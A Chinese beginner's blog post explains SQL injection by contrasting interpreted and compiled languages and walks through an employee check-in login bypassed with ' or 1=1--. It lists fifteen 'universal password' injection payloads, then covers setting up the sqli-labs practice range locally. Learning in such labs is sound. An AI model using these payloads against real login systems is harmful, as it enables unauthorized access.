SQL注入原因是什么以及靶场搭建

原因:
首先从语言分类来介绍吧(有点难理解,多读几遍)

语言分为两类:分为解释型语言 and 编译型语言
解释性语言是一种在运行时由一个 “运行组件” 解释语言代码并执行其中包含的指令语言(应该挺好理解吧,说的更白话点就是边运行边执行)。
编译型语言是代码在 *生成时 *,转换为机器指令,然后在 运行时 直接由使用该语言的计算机执行这些命令。也就是说在运行编译型语言的时候直接双击打开不需要重新编译,(把他想象成C语言,用coldblock,写出来的推箱子游戏)与解释型语言的不同就是编译型语言是一次性完成,只运行即可。

问题来了!!!!在解释型语言中,如果程序与用户进行交互。用户可以构造***特殊的输入***来拼接到程序中执行,从而使得程序依据用户输入然后执行有可能存在恶意行为的代码。

例如:在与用户交互的程序中,用户的输入拼接到SQL语句中,执行了与原定计划不同的行为,从而产生了SQL注入漏洞。

因为用户输入的内容可以使SQL语句中的关键字,以及符合SQL语句结构的语句,所以SQL产生的两个前提:1:用户必须可以输入并且输入内容是用户可以控制的。2: 输入之后,输入内容不在程序中执行或者拼接到SQL语句中那么就不会产生任何危害,那么这时候第二点的前提,也就是说我们输入的内容必须跟数据库产生交互,一定会拼接到SQL语句中并且执行,且没有防护措施就产生了SQL注入漏洞。

案例:假如企业家用的的某个员工签到程序存在SQL漏洞,需要输入员工ID(账号)跟 老板给的每天系统自动生成的进行密码签到(每个人的不一样),那么员工的账号跟密码就是一个数据库,登录位置与数据库进行交互,这时候ID跟密码需要拼接到SQL语句中执行,这时候进行探测,程序是否过滤筛选了输入内容,比如过滤一些漏洞使得SQL注入无法继续执行
如图:
在这里插入图片描述
select*from admian where username =‘ID’ and pussword = ‘每天各自领的密码’
翻译过来就是用户名必须等于密码才能执行下一步。

这时候,员工张三发现SQL漏洞,不去公司领密码,直接签到。他直接在员工ID那一栏输 ’ or 1=1-- (–后头有个空格)

SQL:语句:select * from admian where username =’ ’ or 1=1-- ’ and pussword = ‘每天各自领的密码’
其中or 1=1 永远为真, --注后的内容不在执行,因此SQL语句执行会返回admin表中的所有内容。

平时张三在ID栏目输入“zhangsan”密码“*******”每天都不一样,这时候张三在ID栏输入"zahngsan’ or 1=1 – "密码随便输也就直接登录签到了。这就成功的绕过了系统用户名与密码的检测,只需要一个已知的ID就能签到。

’ or 1=1-- 就这个玩意也可以当成万能密码,百度一下还有一堆
1."or “a”="a
2. ')or(‘a’=‘a
3. or 1=1–
4. ‘or 1=1–
5. a’or’ 1=1–
6. "or 1=1–
7. ‘or’a’=‘a
8. “or”="a’=‘a
9. ‘or’’=’
10. ‘or’=‘or’
11. 1 or ‘1’=‘1’=1
12. 1 or ‘1’=‘1’ or 1=1
13. 'OR 1=1%00
14. "or 1=1%00
15. 'xor

扯的有点远了,下面说靶场搭建吧,就是下个东西,打开个网址,用别人写好的开始SQL漏洞闯关刷副本。网上也有不少详细的博客,搭建步骤就不多说了,说一下我遇到的问题吧

在这里插入图片描述
1:画圈的两个打开
2:PHP的版本用5.4.45
3:解压到WWW目录下边之后打开网址:http://127.0.01/sqli-labs-master

得到如图
在这里插入图片描述
点击画圈的,得到如下图就完事了在这里插入图片描述
算了简单说一下搭建步骤吧
需要的工具:PHPstudy,任意压缩软件,跟sublime

第一步,下载PHP版本5.4.45
在这里插入图片描述
第二部,下载个安装包:sqli-labs-master点击下载

第三部,解压,放到phpstudy_pro>www>
目录下,如图在这里插入图片描述
最后打开网站:http://127.0.01/sqli-labs-master
结束

pps:后续更新Python跟java的编译环境和下载方法以及攻防世界新手教程(题能刷,写博客码子是真的费时间,有当初在某中文网写网文那味了),间断更新SQL注入(别问,问就是没学完)

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值